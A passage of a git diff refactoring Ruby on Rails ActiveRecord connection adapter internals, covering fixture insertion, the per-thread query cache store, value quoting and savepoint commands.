-          rescue TypeError
-            quote(YAML.dump(value))
+      def insert_fixtures_set(fixture_set, tables_to_delete = [])
+        fixture_inserts = build_fixture_statements(fixture_set)
+        table_deletes = build_delete_from_statements(tables_to_delete)
+        statements = table_deletes + fixture_inserts
+
+        transaction(requires_new: true) do
+          disable_referential_integrity do
+            execute_batch(statements, "Fixtures Load")
           end
         end
+      end
 
-        execute "INSERT INTO #{quote_table_name(table_name)} (#{key_list.join(', ')}) VALUES (#{value_list.join(', ')})", "Fixture Insert"
+      def empty_all_tables # :nodoc:
+        truncate_tables(*tables)
       end
 
-      def empty_insert_statement_value
+      def empty_insert_statement_value(primary_key = nil)
         "DEFAULT VALUES"
       end
 
-      # Sanitizes the given LIMIT parameter in order to prevent SQL injection.
-      #
-      # The +limit+ may be anything that can evaluate to a string via #to_s. It
-      # should look like an integer, or an Arel SQL literal.
-      #
-      # Returns Integer and Arel::Nodes::SqlLiteral limits as is.
-      def sanitize_limit(limit)
-        if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
-          limit
+      # Fixture value is quoted by Arel, however scalar values
+      # are not quotable. In this case we want to convert
+      # the column value to YAML.
+      def with_yaml_fallback(value) # :nodoc:
+        if value.is_a?(Hash) || value.is_a?(Array)
+          YAML.dump(value)
         else
-          Integer(limit)
+          value
         end
       end
 
-      # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work
-      # on MySQL (even when aliasing the tables), but MySQL allows using JOIN directly in
-      # an UPDATE statement, so in the MySQL adapters we redefine this to do that.
-      def join_to_update(update, select, key) # :nodoc:
-        subselect = subquery_for(key, select)
+      # This is a safe default, even if not high precision on all databases
+      HIGH_PRECISION_CURRENT_TIMESTAMP = Arel.sql("CURRENT_TIMESTAMP", retryable: true).freeze # :nodoc:
+      private_constant :HIGH_PRECISION_CURRENT_TIMESTAMP
 
-        update.where key.in(subselect)
+      # Returns an Arel SQL literal for the CURRENT_TIMESTAMP for usage with
+      # arbitrary precision date/time columns.
+      #
+      # Adapters supporting datetime with precision should override this to
+      # provide as much precision as is available.
+      def high_precision_current_timestamp
+        HIGH_PRECISION_CURRENT_TIMESTAMP
+      end
+
+      def default_insert_value(column) # :nodoc:
+        DEFAULT_INSERT_VALUE
+      end
+
+      # Lowest-level abstract execution of a query, called only from the intent itself.
+      # Final wrapper around the subclass-specific +perform_query+. Populates the calling
+      # intent's raw_result.
+      def execute_intent(intent) # :nodoc:
+        log(intent) do |notification_payload|
+          intent.notification_payload = notification_payload
+          with_raw_connection(allow_retry: intent.allow_retry, materialize_transactions: intent.materialize_transactions) do |conn|
+            result = perform_query(conn, intent)
+            intent.raw_result = result
+            handle_warnings(result, intent.processed_sql)
+          end
+        end
+      end
+
+      # Executes SQL statements in the context of this connection without
+      # returning a result.
+      def execute_batch(statements, name = nil, **kwargs) # :nodoc:
+        statements.each do |statement|
+          intent = QueryIntent.new(
+            adapter: self,
+            processed_sql: statement,
+            name: name,
+            binds: kwargs[:binds] || [],
+            prepare: kwargs[:prepare] || false,
+            allow_retry: kwargs[:allow_retry] || false,
+            materialize_transactions: kwargs[:materialize_transactions] != false,
+            batch: kwargs[:batch] || false
+          )
+          intent.execute!
+          intent.finish
+        end
       end
-      alias join_to_delete join_to_update
 
       private
+        DEFAULT_INSERT_VALUE = Arel.sql("DEFAULT").freeze
+        private_constant :DEFAULT_INSERT_VALUE
 
-        # Returns a subquery for the given key using the join information.
-        def subquery_for(key, select)
-          subselect = select.clone
-          subselect.projections = [key]
-          subselect
+        def perform_query(raw_connection, intent)
+          raise NotImplementedError
         end
 
-        # Returns an ActiveRecord::Result instance.
-        def select(sql, name = nil, binds = [])
-          exec_query(sql, name, binds, prepare: false)
+        def handle_warnings(raw_result, sql)
         end
 
-        def select_prepared(sql, name = nil, binds = [])
-          exec_query(sql, name, binds, prepare: true)
+        # Receive a native adapter result object and returns an ActiveRecord::Result object.
+        def cast_result(raw_result)
+          raise NotImplementedError
         end
 
-        def sql_for_insert(sql, pk, id_value, sequence_name, binds)
+        def affected_rows(raw_result)
+          raise NotImplementedError
+        end
+
+        def internal_build_intent(sql, name = "SQL", binds = [], prepare: false, allow_retry: false, materialize_transactions: true, &block)
+          QueryIntent.new(
+            adapter: self,
+            raw_sql: sql,
+            name: name,
+            binds: binds,
+            prepare: prepare,
+            allow_retry: allow_retry,
+            materialize_transactions: materialize_transactions
+          )
+        end
+
+        def build_fixture_sql(fixtures, table_name)
+          columns = schema_cache.columns_hash(table_name).reject { |_, column| supports_virtual_columns? && column.virtual? }
+
+          values_list = fixtures.map do |fixture|
+            fixture = fixture.stringify_keys
+
+            unknown_columns = fixture.keys - columns.keys
+            if unknown_columns.any?
+              raise Fixture::FixtureError, %(table "#{table_name}" has no columns named #{unknown_columns.map(&:inspect).join(', ')}.)
+            end
+
+            columns.map do |name, column|
+              if fixture.key?(name)
+                # TODO: Remove fetch_cast_type and the need for connection after we release 8.1.
+                with_yaml_fallback(column.fetch_cast_type(self).serialize(fixture[name]))
+              else
+                default_insert_value(column)
+              end
+            end
+          end
+
+          table = Arel::Table.new(table_name)
+          manager = Arel::InsertManager.new(table)
+
+          if values_list.size == 1
+            values = values_list.shift
+            new_values = []
+            columns.each_key.with_index { |column, i|
+              unless values[i].equal?(DEFAULT_INSERT_VALUE)
+                new_values << values[i]
+                manager.columns << table[column]
+              end
+            }
+            values_list << new_values
+          else
+            columns.each_key { |column| manager.columns << table[column] }
+          end
+
+          manager.values = manager.create_values_list(values_list)
+          visitor.compile(manager.ast)
+        end
+
+        def build_fixture_statements(fixture_set)
+          fixture_set.filter_map do |table_name, fixtures|
+            next if fixtures.empty?
+            build_fixture_sql(fixtures, table_name)
+          end
+        end
+
+        def build_truncate_statement(table_name)
+          "TRUNCATE TABLE #{quote_table_name(table_name)}"
+        end
+
+        def build_truncate_statements(table_names)
+          table_names.map do |table_name|
+            build_truncate_statement(table_name)
+          end
+        end
+
+        def build_delete_from_statements(table_names)
+          table_names.map do |table_name|
+            "DELETE FROM #{quote_table_name(table_name)}"
+          end
+        end
+
+        def combine_multi_statements(total_sql)
+          total_sql.join(";\n")
+        end
+
+        def sql_for_insert(sql, pk, binds, returning) # :nodoc:
+          if supports_insert_returning?
+            if pk.nil?
+              # Extract the table from the insert sql. Yuck.
+              table_ref = extract_table_ref_from_insert_sql(sql)
+              pk = primary_key(table_ref) if table_ref
+            end
+
+            returning_columns = returning || Array(pk)
+
+            returning_columns_statement = returning_columns.map { |c| quote_column_name(c) }.join(", ")
+            sql = "#{sql} RETURNING #{returning_columns_statement}" if returning_columns.any?
+          end
+
           [sql, binds]
         end
 
         def last_inserted_id(result)
-          row = result.rows.first
+          single_value_from_rows(result.rows)
+        end
+
+        def returning_column_values(result)
+          [last_inserted_id(result)]
+        end
+
+        def single_value_from_rows(rows)
+          row = rows.first
           row && row.first
         end
 
-        def binds_from_relation(relation, binds)
-          if relation.is_a?(Relation) && binds.empty?
-            relation, binds = relation.arel, relation.bound_attributes
+        def arel_from_relation(relation)
+          if relation.is_a?(Relation)
+            relation.arel
+          else
+            relation
+          end
+        end
+
+        def extract_table_ref_from_insert_sql(sql)
+          if sql =~ /into\s("[A-Za-z0-9_."\[\]\s]+"|[A-Za-z0-9_."\[\]]+)\s*/im
+            $1.delete('"').strip
           end
-          [relation, binds]
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 7eab7de5d3760..a3d554d1cf684 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -1,19 +1,27 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+require "concurrent/atomic/atomic_fixnum"
+
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
     module QueryCache
-      class << self
-        def included(base) #:nodoc:
-          dirties_query_cache base, :insert, :update, :delete, :rollback_to_savepoint, :rollback_db_transaction
+      DEFAULT_SIZE = 100 # :nodoc:
 
-          base.set_callback :checkout, :after, :configure_query_cache!
-          base.set_callback :checkin, :after, :disable_query_cache!
+      class << self
+        def included(base) # :nodoc:
+          dirties_query_cache base, :exec_query, :execute, :create, :insert, :update, :delete, :truncate,
+            :truncate_tables, :rollback_to_savepoint, :rollback_db_transaction, :restart_db_transaction,
+            :exec_insert_all
         end
 
         def dirties_query_cache(base, *method_names)
           method_names.each do |method_name|
             base.class_eval <<-end_code, __FILE__, __LINE__ + 1
-              def #{method_name}(*)
-                clear_query_cache if @query_cache_enabled
+              def #{method_name}(...)
+                if pool.dirties_query_cache
+                  ActiveRecord::Base.clear_query_caches_for_current_thread
+                end
                 super
               end
             end_code
@@ -21,59 +29,225 @@ def #{method_name}(*)
         end
       end
 
-      module ConnectionPoolConfiguration
-        def initialize(*)
+      # This is the actual query cache store.
+      #
+      # It has an internal hash whose keys are either SQL strings, or arrays of
+      # two elements [SQL string, binds], if there are binds. The hash values
+      # are their corresponding ActiveRecord::Result objects.
+      #
+      # Keeping the hash size under max size is achieved with LRU eviction.
+      #
+      # The store gets passed a version object, which is shared among the query
+      # cache stores of a given connection pool (see ConnectionPoolConfiguration
+      # down below). The version value may be externally changed as a way to
+      # signal cache invalidation, that is why all methods have a guard for it.
+      class Store # :nodoc:
+        attr_accessor :enabled, :dirties
+        alias_method :enabled?, :enabled
+        alias_method :dirties?, :dirties
+
+        def initialize(version, max_size)
+          @version = version
+          @current_version = version.value
+          @map = {}
+          @max_size = max_size
+          @enabled = false
+          @dirties = true
+        end
+
+        def size
+          check_version
+          @map.size
+        end
+
+        def empty?
+          check_version
+          @map.empty?
+        end
+
+        def [](key)
+          check_version
+          return unless @enabled
+
+          if entry = @map.delete(key)
+            @map[key] = entry
+          end
+        end
+
+        def compute_if_absent(key)
+          check_version
+
+          return yield unless @enabled
+
+          if entry = @map.delete(key)
+            return @map[key] = entry
+          end
+
+          if @max_size && @map.size >= @max_size
+            @map.shift # evict the oldest entry
+          end
+
+          @map[key] ||= yield
+        end
+
+        def clear
+          @map.clear
+          self
+        end
+
+        private
+          def check_version
+            if @current_version != @version.value
+              @map.clear
+              @current_version = @version.value
+            end
+          end
+      end
+
+      # Each connection pool has one of these registries. They map execution
+      # contexts to query cache stores.
+      #
+      # The keys of the internal map are threads or fibers (whatever
+      # ActiveSupport::IsolatedExecutionState.context returns), and their
+      # associated values are their respective query cache stores.
+      class QueryCacheRegistry # :nodoc:
+        def initialize
+          @mutex = Mutex.new
+          @map = ConnectionPool::WeakThreadKeyMap.new
+        end
+
+        def compute_if_absent(context)
+          @map[context] || @mutex.synchronize do
+            @map[context] ||= yield
+          end
+        end
+
+        def clear
+          @map.synchronize do
+            @map.clear
+          end
+        end
+      end
+
+      module ConnectionPoolConfiguration # :nodoc:
+        def initialize(...)
           super
-          @query_cache_enabled = Concurrent::Map.new { false }
+          @query_cache_version = Concurrent::AtomicFixnum.new
+          @thread_query_caches = QueryCacheRegistry.new
+          @query_cache_max_size = \
+            case query_cache = db_config&.query_cache
+            when 0, false
+              nil
+            when Integer
+              query_cache
+            when nil
+              DEFAULT_SIZE
+            end
+        end
+
+        def checkout_and_verify(connection)
+          super
+          connection.query_cache ||= query_cache
+          connection
+        end
+
+        # Disable the query cache within the block.
+        def disable_query_cache(dirties: true)
+          cache = query_cache
+          old_enabled, cache.enabled, old_dirties, cache.dirties = cache.enabled, false, cache.dirties, dirties
+          begin
+            yield
+          ensure
+            cache.enabled, cache.dirties = old_enabled, old_dirties
+          end
+        end
+
+        def enable_query_cache
+          cache = query_cache
+          old_enabled, cache.enabled, old_dirties, cache.dirties = cache.enabled, true, cache.dirties, true
+          begin
+            yield
+          ensure
+            cache.enabled, cache.dirties = old_enabled, old_dirties
+          end
         end
 
         def enable_query_cache!
-          @query_cache_enabled[connection_cache_key(Thread.current)] = true
-          connection.enable_query_cache! if active_connection?
+          query_cache.enabled = true
+          query_cache.dirties = true
         end
 
         def disable_query_cache!
-          @query_cache_enabled.delete connection_cache_key(Thread.current)
-          connection.disable_query_cache! if active_connection?
+          query_cache.enabled = false
+          query_cache.dirties = true
         end
 
         def query_cache_enabled
-          @query_cache_enabled[connection_cache_key(Thread.current)]
+          query_cache.enabled
+        end
+
+        def dirties_query_cache
+          query_cache.dirties
+        end
+
+        def clear_query_cache
+          if @pinned_connection
+            # With transactional fixtures, and especially systems test
+            # another thread may use the same connection, but with a different
+            # query cache. So we must clear them all.
+            @query_cache_version.increment
+          end
+          query_cache.clear
         end
-      end
 
-      attr_reader :query_cache, :query_cache_enabled
+        def query_cache
+          @thread_query_caches.compute_if_absent(ActiveSupport::IsolatedExecutionState.context) do
+            Store.new(@query_cache_version, @query_cache_max_size)
+          end
+        end
+      end
 
       def initialize(*)
         super
-        @query_cache         = Hash.new { |h, sql| h[sql] = {} }
-        @query_cache_enabled = false
+        @query_cache = nil
+      end
+
+      attr_writer :query_cache
+
+      def query_cache
+        if @pinned && @owner != ActiveSupport::IsolatedExecutionState.context
+          # With transactional tests, if the connection is pinned, any thread
+          # other than the one that pinned the connection need to go through the
+          # query cache pool, so each thread get a different cache.
+          pool.query_cache
+        else
+          @query_cache
+        end
+      end
+
+      def query_cache_enabled
+        query_cache&.enabled?
       end
 
       # Enable the query cache within the block.
-      def cache
-        old, @query_cache_enabled = @query_cache_enabled, true
-        yield
-      ensure
-        @query_cache_enabled = old
-        clear_query_cache unless @query_cache_enabled
+      def cache(&block)
+        pool.enable_query_cache(&block)
       end
 
       def enable_query_cache!
-        @query_cache_enabled = true
+        pool.enable_query_cache!
       end
 
-      def disable_query_cache!
-        @query_cache_enabled = false
-        clear_query_cache
+      # Disable the query cache within the block.
+      #
+      # Set <tt>dirties: false</tt> to prevent query caches on all connections from being cleared by write operations.
+      # (By default, write operations dirty all connections' query caches in case they are replicas whose cache would now be outdated.)
+      def uncached(dirties: true, &block)
+        pool.disable_query_cache(dirties: dirties, &block)
       end
 
-      # Disable the query cache within the block.
-      def uncached
-        old, @query_cache_enabled = @query_cache_enabled, false
-        yield
-      ensure
-        @query_cache_enabled = old
+      def disable_query_cache!
+        pool.disable_query_cache!
       end
 
       # Clears the query cache.
@@ -83,47 +257,91 @@ def uncached
       # the same SQL query and repeatedly return the same result each time, silently
       # undermining the randomness you were expecting.
       def clear_query_cache
-        @query_cache.clear
+        pool.clear_query_cache
       end
 
-      def select_all(arel, name = nil, binds = [], preparable: nil)
-        if @query_cache_enabled && !locked?(arel)
-          arel, binds = binds_from_relation arel, binds
-          sql = to_sql(arel, binds)
-          cache_sql(sql, name, binds) { super(sql, name, binds, preparable: preparable) }
+      def select_all(arel, name = nil, binds = [], preparable: nil, async: false, allow_retry: false) # :nodoc:
+        arel = arel_from_relation(arel)
+
+        # If arel is locked this is a SELECT ... FOR UPDATE or somesuch.
+        # Such queries should not be cached.
+        if query_cache_enabled && !(arel.respond_to?(:locked) && arel.locked)
+          sql, binds, preparable, allow_retry = to_sql_and_binds(arel, binds, preparable, allow_retry)
+
+          if async
+            result = lookup_sql_cache(sql, name, binds) || super(sql, name, binds, preparable: preparable, async: async, allow_retry: allow_retry)
+            FutureResult.wrap(result)
+          else
+            cache_sql(sql, name, binds) { super(sql, name, binds, preparable: preparable, async: async, allow_retry: allow_retry) }
+          end
         else
           super
         end
       end
 
       private
+        def unset_query_cache!
+          @query_cache = nil
+        end
+
+        def lookup_sql_cache(sql, name, binds)
+          key = binds.empty? ? sql : [sql, binds]
+
+          result = nil
+          @lock.synchronize do
+            result = query_cache[key]
+          end
+
+          if result
+            ActiveSupport::Notifications.instrument(
+              "sql.active_record",
+              cache_notification_info_result(sql, name, binds, result)
+            )
+          end
+
+          result
+        end
 
         def cache_sql(sql, name, binds)
-          result =
-            if @query_cache[sql].key?(binds)
-              ActiveSupport::Notifications.instrument(
-                "sql.active_record",
-                sql: sql,
-                binds: binds,
-                name: name,
-                connection_id: object_id,
-                cached: true,
-              )
-              @query_cache[sql][binds]
-            else
-              @query_cache[sql][binds] = yield
+          key = binds.empty? ? sql : [sql, binds]
+          result = nil
+          hit = true
+
+          @lock.synchronize do
+            result = query_cache.compute_if_absent(key) do
+              hit = false
+              yield
             end
+          end
+
+          if hit
+            ActiveSupport::Notifications.instrument(
+              "sql.active_record",
+              cache_notification_info_result(sql, name, binds, result)
+            )
+          end
+
           result.dup
         end
 
-        # If arel is locked this is a SELECT ... FOR UPDATE or somesuch. Such
-        # queries should not be cached.
-        def locked?(arel)
-          arel.respond_to?(:locked) && arel.locked
+        def cache_notification_info_result(sql, name, binds, result)
+          payload = cache_notification_info(sql, name, binds)
+          payload[:row_count] = result.length
+          payload
         end
 
-        def configure_query_cache!
-          enable_query_cache! if pool.query_cache_enabled
+        # Database adapters can override this method to
+        # provide custom cache information.
+        def cache_notification_info(sql, name, binds)
+          {
+            sql: sql,
+            binds: binds,
+            type_casted_binds: -> { type_casted_binds(binds) },
+            name: name,
+            connection: self,
+            transaction: current_transaction.user_transaction.presence,
+            cached: true
+          }
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index 7f4132accf696..f3ef8ce7591d2 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -1,90 +1,139 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/big_decimal/conversions"
-require "active_support/multibyte/chars"
 
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
+    # = Active Record Connection Adapters \Quoting
     module Quoting
-      # Quotes the column value to help prevent
-      # {SQL injection attacks}[http://en.wikipedia.org/wiki/SQL_injection].
-      def quote(value)
-        # records are quoted as their primary key
-        return value.quoted_id if value.respond_to?(:quoted_id)
+      extend ActiveSupport::Concern
+
+      module ClassMethods # :nodoc:
+        # Regexp for column names (with or without a table name prefix).
+        # Matches the following:
+        #
+        #   "#{table_name}.#{column_name}"
+        #   "#{column_name}"
+        def column_name_matcher
+          /
+            \A
+            (
+              (?:
+                # table_name.column_name | function(one or no argument)
+                ((?:\w+\.)?\w+ | \w+\((?:|\g<2>)\))
+              )
+              (?:(?:\s+AS)?\s+\w+)?
+            )
+            (?:\s*,\s*\g<1>)*
+            \z
+          /ix
+        end
 
-        _quote(value)
-      end
+        # Regexp for column names with order (with or without a table name prefix,
+        # with or without various order modifiers). Matches the following:
+        #
+        #   "#{table_name}.#{column_name}"
+        #   "#{table_name}.#{column_name} #{direction}"
+        #   "#{table_name}.#{column_name} #{direction} NULLS FIRST"
+        #   "#{table_name}.#{column_name} NULLS LAST"
+        #   "#{column_name}"
+        #   "#{column_name} #{direction}"
+        #   "#{column_name} #{direction} NULLS FIRST"
+        #   "#{column_name} NULLS LAST"
+        def column_name_with_order_matcher
+          /
+            \A
+            (
+              (?:
+                # table_name.column_name | function(one or no argument)
+                ((?:\w+\.)?\w+ | \w+\((?:|\g<2>)\))
+              )
+              (?:\s+ASC|\s+DESC)?
+              (?:\s+NULLS\s+(?:FIRST|LAST))?
+            )
+            (?:\s*,\s*\g<1>)*
+            \z
+          /ix
+        end
 
-      # Cast a +value+ to a type that the database understands. For example,
-      # SQLite does not understand dates, so this method will convert a Date
-      # to a String.
-      def type_cast(value, column = nil)
-        if value.respond_to?(:quoted_id) && value.respond_to?(:id)
-          return value.id
+        # Quotes the column name. Must be implemented by subclasses
+        def quote_column_name(column_name)
+          raise NotImplementedError
         end
 
-        if column
-          value = type_cast_from_column(column, value)
+        # Quotes the table name. Defaults to column name quoting.
+        def quote_table_name(table_name)
+          quote_column_name(table_name)
         end
+      end
 
-        _type_cast(value)
-      rescue TypeError
-        to_type = column ? " to #{column.type}" : ""
-        raise TypeError, "can't cast #{value.class}#{to_type}"
-      end
-
-      # If you are having to call this function, you are likely doing something
-      # wrong. The column does not have sufficient type information if the user
-      # provided a custom type on the class level either explicitly (via
-      # Attributes::ClassMethods#attribute) or implicitly (via
-      # AttributeMethods::Serialization::ClassMethods#serialize, +time_zone_aware_attributes+).
-      # In almost all cases, the sql type should only be used to change quoting behavior, when the primitive to
-      # represent the type doesn't sufficiently reflect the differences
-      # (varchar vs binary) for example. The type used to get this primitive
-      # should have been provided before reaching the connection adapter.
-      def type_cast_from_column(column, value) # :nodoc:
-        if column
-          type = lookup_cast_type_from_column(column)
-          type.serialize(value)
+      # Quotes the column value to help prevent
+      # {SQL injection attacks}[https://en.wikipedia.org/wiki/SQL_injection].
+      def quote(value)
+        case value
+        when String, Symbol, ActiveSupport::Multibyte::Chars
+          "'#{quote_string(value.to_s)}'"
+        when true       then quoted_true
+        when false      then quoted_false
+        when nil        then "NULL"
+        # BigDecimals need to be put in a non-normalized form and quoted.
+        when BigDecimal then value.to_s("F")
+        when Numeric then value.to_s
+        when Type::Binary::Data then quoted_binary(value)
+        when Type::Time::Value then "'#{quoted_time(value)}'"
+        when Date, Time then "'#{quoted_date(value)}'"
+        when Class      then "'#{value}'"
         else
-          value
+          raise TypeError, "can't quote #{value.class.name}"
         end
       end
 
-      # See docs for #type_cast_from_column
-      def lookup_cast_type_from_column(column) # :nodoc:
-        lookup_cast_type(column.sql_type)
+      # Cast a +value+ to a type that the database understands. For example,
+      # SQLite does not understand dates, so this method will convert a Date
+      # to a String.
+      def type_cast(value)
+        case value
+        when Symbol, Type::Binary::Data, ActiveSupport::Multibyte::Chars
+          value.to_s
+        when true       then unquoted_true
+        when false      then unquoted_false
+        # BigDecimals need to be put in a non-normalized form and quoted.
+        when BigDecimal then value.to_s("F")
+        when nil, Numeric, String then value
+        when Type::Time::Value then quoted_time(value)
+        when Date, Time then quoted_date(value)
+        else
+          raise TypeError, "can't cast #{value.class.name}"
+        end
       end
 
-      def fetch_type_metadata(sql_type)
-        cast_type = lookup_cast_type(sql_type)
-        SqlTypeMetadata.new(
-          sql_type: sql_type,
-          type: cast_type.type,
-          limit: cast_type.limit,
-          precision: cast_type.precision,
-          scale: cast_type.scale,
-        )
+      # Cast a value to be used as a bound parameter of unknown type. For example,
+      # MySQL might perform dangerous castings when comparing a string to a number,
+      # so this method will cast numbers to string.
+      def cast_bound_value(value) # :nodoc:
+        value
       end
 
       # Quotes a string, escaping any ' (single quote) and \ (backslash)
       # characters.
       def quote_string(s)
-        s.gsub('\\'.freeze, '\&\&'.freeze).gsub("'".freeze, "''".freeze) # ' (for ruby-mode)
+        s.gsub("\\", '\&\&').gsub("'", "''") # ' (for ruby-mode)
       end
 
-      # Quotes the column name. Defaults to no quoting.
+      # Quotes the column name.
       def quote_column_name(column_name)
-        column_name.to_s
+        self.class.quote_column_name(column_name)
       end
 
-      # Quotes the table name. Defaults to column name quoting.
+      # Quotes the table name.
       def quote_table_name(table_name)
-        quote_column_name(table_name)
+        self.class.quote_table_name(table_name)
       end
 
       # Override to return the quoted table name for assignment. Defaults to
       # table quoting.
       #
-      # This works for mysql2 where table.column can be used to
+      # This works for MySQL where table.column can be used to
       # resolve ambiguity.
       #
       # We override this in the sqlite3 and postgresql adapters to use only
@@ -97,98 +146,84 @@ def quote_default_expression(value, column) # :nodoc:
         if value.is_a?(Proc)
           value.call
         else
-          value = lookup_cast_type(column.sql_type).serialize(value)
+          # TODO: Remove fetch_cast_type and the need for connection after we release 8.1.
+          cast_type = column.fetch_cast_type(self)
+          value = cast_type.serialize(value)
           quote(value)
         end
       end
 
       def quoted_true
-        "'t'".freeze
+        "TRUE"
       end
 
       def unquoted_true
-        "t".freeze
+        true
       end
 
       def quoted_false
-        "'f'".freeze
+        "FALSE"
       end
 
       def unquoted_false
-        "f".freeze
+        false
       end
 
       # Quote date/time values for use in SQL input. Includes microseconds
       # if the value is a Time responding to usec.
       def quoted_date(value)
         if value.acts_like?(:time)
-          zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
-
-          if value.respond_to?(zone_conversion_method)
-            value = value.send(zone_conversion_method)
+          if default_timezone == :utc
+            value = value.getutc if !value.utc?
+          else
+            value = value.getlocal
           end
         end
 
-        result = value.to_s(:db)
+        result = value.to_fs(:db)
         if value.respond_to?(:usec) && value.usec > 0
-          "#{result}.#{sprintf("%06d", value.usec)}"
+          result << "." << sprintf("%06d", value.usec)
         else
           result
         end
       end
 
       def quoted_time(value) # :nodoc:
-        quoted_date(value).sub(/\A2000-01-01 /, "")
+        value = value.change(year: 2000, month: 1, day: 1)
+        quoted_date(value).sub(/\A\d\d\d\d-\d\d-\d\d /, "")
       end
 
       def quoted_binary(value) # :nodoc:
         "'#{quote_string(value.to_s)}'"
       end
 
-      private
-
-        def type_casted_binds(binds)
-          binds.map { |attr| type_cast(attr.value_for_database) }
-        end
-
-        def types_which_need_no_typecasting
-          [nil, Numeric, String]
-        end
+      def sanitize_as_sql_comment(value) # :nodoc:
+        # Sanitize a string to appear within an SQL comment
+        # For compatibility, this also surrounding "/*+", "/*", and "*/"
+        # charcacters, possibly with single surrounding space.
+        # Then follows that by replacing any internal "*/" or "/*" with
+        # "* /" or "/ *"
+        comment = value.to_s.dup
+        comment.gsub!(%r{\A\s*/\*\+?\s?|\s?\*/\s*\Z}, "")
+        comment.gsub!("*/", "* /")
+        comment.gsub!("/*", "/ *")
+        comment
+      end
 
-        def _quote(value)
-          case value
-          when String, ActiveSupport::Multibyte::Chars
-            "'#{quote_string(value.to_s)}'"
-          when true       then quoted_true
-          when false      then quoted_false
-          when nil        then "NULL"
-          # BigDecimals need to be put in a non-normalized form and quoted.
-          when BigDecimal then value.to_s("F")
-          when Numeric, ActiveSupport::Duration then value.to_s
-          when Type::Binary::Data then quoted_binary(value)
-          when Type::Time::Value then "'#{quoted_time(value)}'"
-          when Date, Time then "'#{quoted_date(value)}'"
-          when Symbol     then "'#{quote_string(value.to_s)}'"
-          when Class      then "'#{value}'"
-          else raise TypeError, "can't quote #{value.class.name}"
-          end
-        end
+      def lookup_cast_type(sql_type) # :nodoc:
+        # TODO: Make this method private after we release 8.1.
+        type_map.lookup(sql_type)
+      end
 
-        def _type_cast(value)
-          case value
-          when Symbol, ActiveSupport::Multibyte::Chars, Type::Binary::Data
-            value.to_s
-          when true       then unquoted_true
-          when false      then unquoted_false
-          # BigDecimals need to be put in a non-normalized form and quoted.
-          when BigDecimal then value.to_s("F")
-          when Type::Time::Value then quoted_time(value)
-          when Date, Time then quoted_date(value)
-          when *types_which_need_no_typecasting
-            value
-          else raise TypeError
+      def type_casted_binds(binds) # :nodoc:
+        binds&.map do |value|
+          if ActiveModel::Attribute === value
+            type_cast(value.value_for_database)
+          else
+            type_cast(value)
           end
         end
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
index 3a06f75292152..29225af765001 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
@@ -1,20 +1,23 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
+    # = Active Record Connection Adapters \Savepoints
     module Savepoints
       def current_savepoint_name
         current_transaction.savepoint_name
       end
 
       def create_savepoint(name = current_savepoint_name)
-        execute("SAVEPOINT #{name}")
+        query_command("SAVEPOINT #{name}", "TRANSACTION")
       end
 
       def exec_rollback_to_savepoint(name = current_savepoint_name)
-        execute("ROLLBACK TO SAVEPOINT #{name}")
+        query_command("ROLLBACK TO SAVEPOINT #{name}", "TRANSACTION")
       end
 
       def release_savepoint(name = current_savepoint_name)
-        execute("RELEASE SAVEPOINT #{name}")
+        query_command("RELEASE SAVEPOINT #{name}", "TRANSACTION")
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
index c48a4acff815c..77a764e8f72aa 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
@@ -1,137 +1,194 @@
-require "active_support/core_ext/string/strip"
+# frozen_string_literal: true
 
 module ActiveRecord
   module ConnectionAdapters
-    class AbstractAdapter
-      class SchemaCreation # :nodoc:
-        def initialize(conn)
-          @conn = conn
-          @cache = {}
+    class SchemaCreation # :nodoc:
+      def initialize(conn)
+        @conn = conn
+        @cache = {}
+      end
+
+      def accept(o)
+        m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
+        send m, o
+      end
+
+      delegate :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql,
+        :options_include_default?, :supports_indexes_in_create?, :use_foreign_keys?,
+        :quoted_columns_for_index, :supports_partial_index?, :supports_check_constraints?,
+        :supports_index_include?, :supports_exclusion_constraints?, :supports_unique_constraints?,
+        :supports_nulls_not_distinct?, :lookup_cast_type,
+        to: :@conn, private: true
+
+      private
+        def visit_AlterTable(o)
+          sql = +"ALTER TABLE #{quote_table_name(o.name)} "
+          sql << o.adds.map { |col| accept col }.join(" ")
+          sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(" ")
+          sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(" ")
+          sql << o.check_constraint_adds.map { |con| visit_AddCheckConstraint con }.join(" ")
+          sql << o.check_constraint_drops.map { |con| visit_DropCheckConstraint con }.join(" ")
+          sql << o.constraint_drops.map { |con| visit_DropConstraint con }.join(" ")
+        end
+
+        def visit_ColumnDefinition(o)
+          o.sql_type = type_to_sql(o.type, **o.options)
+          column_sql = +"#{quote_column_name(o.name)} #{o.sql_type}"
+          add_column_options!(column_sql, column_options(o)) unless o.type == :primary_key
+          column_sql
         end
 
-        def accept(o)
